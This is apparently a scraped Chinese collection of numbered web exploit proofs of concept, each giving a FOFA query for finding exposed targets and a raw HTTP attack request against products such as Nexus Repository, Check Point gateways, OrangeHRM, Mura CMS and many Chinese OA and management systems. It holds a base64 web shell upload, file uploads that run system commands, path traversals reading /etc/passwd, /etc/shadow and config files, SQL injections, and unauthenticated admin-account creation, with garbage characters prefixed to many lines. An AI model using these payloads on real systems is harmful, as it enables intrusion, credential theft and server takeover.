( ~( B* ~- B; GFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
6 X. A2 X+ ?0 W7 CPOST /webservices/WebJobUpload.asmx HTTP/1.1
5 i/ D: t/ r! B1 Q* S5 `: cHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
9 ]/ z, ?, b0 d9 _# vContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
. u; M/ t. m$ W+ MContent-Type: text/xml; charset=utf-8
2 q/ l6 _: @0 g2 e. tSoapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
( O! S& W, s8 ]  a3 n( d( j5 L- J) J<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
* c' q! Q' W: m<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
0 d  m  p7 @1 H$ Z) a$ ?. F<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
) y, p5 E! z0 |1 H1 x1 Q! G* n: B</jobUpload>
</soap:Body>
3 N5 t9 S+ ?  D. K! a1 N$ U5 @5 v</soap:Envelope>
/ W% K  o2 o8 K/ \8 G1 N$ z# f

/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
* ?; o0 B" [3 W$ C, a' Y, B
0 f* W5 p& ^8 |' q
- W. o5 w( q5 Q" l& Y1 ?160. Sonatype Nexus Repository 3目录遍历与文件读取
6 P$ ^7 U3 U) |9 c: ~1 o) ECVE-2024-4956
! v0 c# E$ r1 S  |; i! z! BFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
9 V* R+ h" u. t7 _: `/ VUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
( I. H! S8 W3 f& v+ i* d) eConnection: close
Accept: */*
* t6 ~  _2 ^( ^% qAccept-Language: en
7 ?, s- o+ s* d2 A, cAccept-Encoding: gzip
3 a" ?& H: f+ a+ X! O4 F
, n0 L) f! T; T- V- q! j5 b
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
- u  ~- \" i0 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
- W2 v4 O; O" W; u7 Nhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
, t& @# Q8 }* ]# {/ Y) I- S7 S8 @xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
1 m2 y0 d/ t" M/ Z8 ?<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
5 x- ]! _$ l9 |0 }; u<ip>1</ip>
* F* A7 A; U3 ^6 k# ]4 t* J<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
/ y) z8 J$ `; O+ ?( |<tag>3</tag>
# l. R0 \/ |& v/ p! X; C: B</UploadResume>
7 a7 d$ r9 i$ l& r! F4 K</soap:Body>
</soap:Envelope>
' |$ l, M' V0 j5 G& Z( G
1 a) f# b6 k8 k9 d" x/ X
; B5 a, \; s3 n; W( Q5 T) |http://x.x.x.x/dizxdell.aspx
7 g% R  N" o+ S
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
7 Q, i7 e6 P( x5 l7 EFOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
# x# \- G0 _4 o* F5 v7 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
" k$ T9 V3 f* y& z3 ?Connection: close
Content-Length: 583
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
5 ?' Z% ?% _+ _% x; A* @" Z9 f1 vAccept-Encoding: gzip

2 E, I% `2 z) ], D7 ~5 ~------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
, Z+ K! e/ H8 ?0 z) _Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

: o. S5 W5 |: P' S/ B( f  R2 Bupload
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="responderId"
2 A/ d: A9 i3 T7 S: j
ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
% z# ~% X: m1 J8 g7 W/ C; HContent-Disposition: form-data; name="remotePath"
2 C- R) ?5 _2 w& P/ ?$ m! f
/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--


http://x.x.x.x/opt/resources/kjuhitjgk.aspx
# f0 ~  x9 ~. v& s! b
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
5 ~  R# `- |: [0 `3 p" ^POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
! Y1 e$ V& Z4 m, @8 p( c! E9 |7 X  uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
" T. D; O2 j. _/ P# IContent-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
( Z; u  Y2 S% V' l* W* oAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

/ ^9 i. ^" g% d# K------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
( ?6 `+ J2 A: b4 F& x4 k# v
. n2 L- {) {, ?5 d% @) V1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

rvjhvbhwwuooyiioxega
7 l- V3 A6 U/ x$ e& q------iiqvnofupvhdyrcoqyuujyetjvqgocod--
' F1 h& v: Q& l, X

164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
0 X- D5 ]3 T$ q1 _" s/ |) dFOFA: title="智慧综合管理平台登入"
4 I" j- k. x9 _7 x- s8 L8 B5 ^* WPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
0 W$ Z6 N2 N, s$ n( f0 C7 e! nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
0 R$ B" L$ @- N2 xConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
( \7 D$ \5 D# R  `
0 s0 S, W+ c5 I: S2 n: l7 r; A  R------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
8 |1 w2 \; s  {4 J$ Q: h- a: NContent-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
: J3 w% w' W$ N3 S$ A" A- A! {; I4 ]
2 \$ `1 J1 H, s
9 c. |, Z! ?6 b) H$ rhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
' a5 S2 u4 m* g8 u; J* m$ I3 W
2 M* I$ K' y0 v9 G3 g4 q+ I* ]165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
" U! |5 l/ d1 A. g8 J& G. |/ D' ^
* P8 k  w4 g$ K( H
2 o8 c( u0 w9 g4 q166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
& S3 ~; [+ |( o+ N+ T0 `Pragma: no-cache
7 s+ E3 w1 k7 H" g( i5 S  NCache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
8 J' B. h& r: u7 o1 j; C. fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
7 v5 o4 _# S) s) s+ {Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
9 `: ^4 ^8 W7 T- m- ?9 L
: \  [& {% f3 F9 T; W
" t5 ~+ t& ?/ V% }. [167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
+ ~' {/ h, r2 W: H* J! w- Y4 s  O* }Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! {8 R+ g7 Q5 I& `% D1 dContent-Type: application/x-www-form-urlencoded
# }6 Z9 r% ]4 D$ P# H5 Z2 X6 F, _( JAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


168. 宏景EHR OutputCode 任意文件读取
" S# N: z7 ~- @, J, lFOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
% {4 X7 y1 j' y# ~5 `( H: T2 KHost: your-ip
$ L7 }8 Y7 S* NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
- R0 m# E4 G$ V0 M& d+ Q, IContent-Type: application/x-www-form-urlencoded
Connection: close
9 Z' ^% a; [& _2 r  H  x


169. 宏景EHR downlawbase SQL注入
; ]: x+ R6 [1 ?. n$ v. J1 NFOFA：app="HJSOFT-HCM"
# j* f/ r# T# e4 T* cGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
* k9 c* k# {6 \" j# y, Z% _! ~% \% wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
2 K  I; ~( G' ~4 }" n! y* f$ H8 }Accept-Encoding: gzip, deflate
" x  |0 X/ s" u$ g$ tConnection: close
$ I/ O* M( K7 t$ j8 p5 R( J8 \% B% |

3 I4 A! P4 P2 y5 E- e3 @1 k, n  m
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
4 ]7 }  J% t' Q1 a$ YFOFA：body="/general/sys/hjaxmanage.js"
5 l. a4 t3 Q% i  h- ^' rPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
+ W6 n' K5 d/ u: \# e/ OUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
+ D  {) d6 u0 Z
" V* a3 }/ @  }( t, b9 M5 z/ `. @- X
9 H! {. S- m5 A$ F, Q171. 通天星CMSV6车载定位监控平台 SQL注入
  y/ x9 ^" U/ X1 C% R+ j6 OFOFA：body="/808gps/"
& T' f% e; J, x0 [3 P. d  }GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
3 d& ~3 z) X* e( LHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
4 h2 n3 a, T4 ^( ~7 s# {Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ Y7 k9 M; ^; u0 N1 J5 qAccept-Encoding: gzip, deflate
Connection: close

+ ]0 k- k4 F. w
+ s2 X8 ]( e% `8 }4 ]
. t: t1 |5 L% V9 x172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
+ v+ v: ~" v' r' j4 zGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
- B' G2 r) `5 y' [% [" p( V4 P  hAccept: */*
Connection: keep-alive



" z2 O0 x' a: A& g# R* g173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
/ T, \4 N/ u& r" x6 y( cHost: your-ip
Content-Type: application/x-www-form-urlencoded

) t) F" g& ~+ n( baCSHELL/../../../../../../../etc/shadow


3 H2 b) y% @7 j! @; R
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
% b# o* k9 l3 [* T  h: {FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
0 @! w0 x7 W! D' q' V: D- fHost: your-ip
( h! u, Y$ ]' Y. o0 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
; C9 G# S/ Y, M. `  mAccept-Language: zh-CN,zh;q=0.9
Connection: close
& D! |* A& W  C! n. D4 f


6 n* d, @! R- o% T175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
+ X/ \. d  r3 C1 wFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ E  F8 R8 j+ h6 [$ ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
3 t& P& C! c0 J: Y+ G( r& T% c6 |: EUpgrade-Insecure-Requests: 1
% e! L1 n" U( ?! F3 {) @

$ j' s0 p' s) L7 j( ]) b176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
" s! [. O, B1 h3 b/ _, zHost: your-ip
( v* \$ Q/ n  o0 v* \. r$ b) nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
# x5 a1 S, l& J$ p0 MContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
7 u% V/ ^9 V% p: M. ]  u7 IConnection: close

------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
4 }7 a) C! q6 f- `* C0 J: [6 s9 PContent-Type: image/png
( e4 ]' c4 }+ l/ G0 A, D
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
5 `6 ~. R4 t: R" H+ h" h( F, w. }5 DContent-Disposition: form-data; name="uploadtime"
% C. W, \# p8 }8 r- E

$ n" s, r' H. c3 i6 a------WebKitFormBoundaryOKldnDPT--

' G& }- o9 k% j* f4 \0 r

177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
9 t0 X' l8 c" C) f; W/userLogin.asp/../actionpolicy_status/../GR5200.cfg
, A" S& \8 V& s! N1 T+ P6 {- P# ^/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
* `. O# S; Z0 v4 O* e/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
  f3 F' h7 u% S; o( R# d% G/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
! K' p9 p& |3 O7 T5 s* s3 n/userLogin.asp/../actionpolicy_status/../ER3260.cfg
) r- o7 c' `0 [* N* n7 o: D/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
6 z+ q2 H* E" C) Y- [/userLogin.asp/../actionpolicy_status/../ER3200.cfg
: P$ h" x2 F  b4 c' x1 `/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
- [; `4 M# }9 X3 h: A% V. [/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
( d& m% }' g1 y  i$ u* v4 P/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
+ s! @8 s4 I) m0 ?) ~/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


+ F3 Z# a: S4 y5 a( `178. H3C校园网自助服务系统-flexfileupload-任意文件上传
" y. I5 p( |/ [! N1 Q& LFOFA：header="/selfservice"
% m; e" z, L  QPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
9 f8 s1 ~8 }, C. }5 z( R3 v: V( {Host:
, b3 t% Y/ g: J% A( _/ P1 z  uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
4 E% v+ T+ {  k* ^Accept-Encoding: gzip, deflate
Connection: close
" Y- l: c9 Y: n& r: CContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
; A' T) C' Y6 W/ t* e, AContent-Length: 255

12234
-----------------aqutkea7vvanpqy3rh2l--
, W1 ]6 B! B$ [1 H

GET /imc/primepush/%2e%2e/flex/12234.txt
  c+ }, v* i% U
2 }* K+ V  x5 q$ x+ K
179. 建文工程管理系统存在任意文件读取
; O& }' q- U3 m+ v3 m) t* ~8 K) f1 rPOST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

path=../log4net.config&Name=


6 T- ?, @; S' v1 y' D* t/ O0 t/ n) T180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
0 v& w# B* y- j3 qGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 k% R  b# O' R" B" DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
* [5 K* i+ H6 T

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
! q9 @$ Z; J) lHost: your-ip
) R) o& g/ H2 n, W% G- FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
: z" v$ C1 d" r9 d4 L3 J8 B+ sAccept-Language: zh-CN,zh;q=0.9
% M# y6 L  f2 v* I. m4 ]% }Connection: close
) J/ e9 {. c3 C& qContent-Type: application/x-www-form-urlencoded
2 y! ~0 I& `7 v4 I1 b6 B

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
( `# p8 _2 g0 G9 U/ B/ e

' z/ y) K+ H5 Y182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
) l$ J* `; ?$ i* pHost: your-ip
1 v0 i$ k9 \" O  nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
/ k4 Q/ N+ U4 L) Z6 G2 [/ J" ~( HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! F7 g3 I7 g, T1 w" VAccept-Encoding: gzip, deflate, br
, ?: f" j; b. z& i. xAccept-Language: zh-CN,zh;q=0.9
7 @: K; g7 P5 MConnection: close
Content-Type: application/x-www-form-urlencoded


username=test1234&pwd=test1234&savedays=1

5 V2 k0 ~5 w! y) i
! K. m  D% E0 S0 u9 w183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
# P2 ^! s% x- K8 ?FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
/ B& C  ?# W# k4 v; BAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
+ v) g0 m1 A( W. V  QConnection: close
( a; B( {& W  S$ c" w! x6 T( K0 }
* t1 U: B& |# C! U: d6 v0 k
) H8 Z" T* d5 f3 N7 E7 W# ~6 G! R184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
( a$ j( j% `7 L- u" a1 r1 iPOST /soap/AddUser HTTP/1.1
6 X3 A8 @3 F4 w5 XHost: your-ip
& n& d' F  E; z# K- |Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
. k) s+ F, c1 j

insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
' w$ n$ ?1 [3 C5 S6 u% mversion < 7.0.5.1
0 A9 Z. o% k) W( fFOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
; u4 z4 g1 @+ i- ^9 ^+ }Host: host
2 f' o( v: ]% E, s$ b

- y- j  u. p- a* Z186. F-logic DataCube3 SQL注入
CVE-2024-31750
4 p8 J4 O3 z. W5 ]% |0 XF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
3 C  i4 R. {5 z* |, HFOFA：title=="DataCube3"
7 J5 w" y7 T* x) r* U& T  n. a. l6 f: MPOST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
& |' c+ e1 Y4 Z( j/ M: LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
2 f0 F* @$ @3 `; D  d* kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

4 o+ X1 ^0 z' O2 Z! d7 L% V( Greq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
1 x! d- n6 M) d
3 b  R! q9 q, H
187. Mura CMS processAsyncObject SQL注入
5 Z. K7 z; D5 u1 G) xCVE-2024-32640
FOFA："Mura CMS"
  x: M& ^, ?9 SPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
' R; i) \) m; _3 s
; X% \8 M+ s0 S  R
* q, f3 A9 O0 Q2 p+ w1 `object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
# S' O! l4 y1 c$ K; X+ P+ n

& }, m1 `: H5 }: j8 ~" V188. 叁体-佳会视频会议 attachment 任意文件读取
version <= 3.9.7
  E' C+ x, b1 U7 z8 j% t! |, yFOFA：body="/system/get_rtc_user_defined_info?site_id"
GET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
( A3 \% t9 e- I/ jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
- f3 M! U5 }1 V3 @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
4 O) Q5 Q% M' h( L. t; KAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
8 E% I$ ]) P* f: f; ]Connection: close


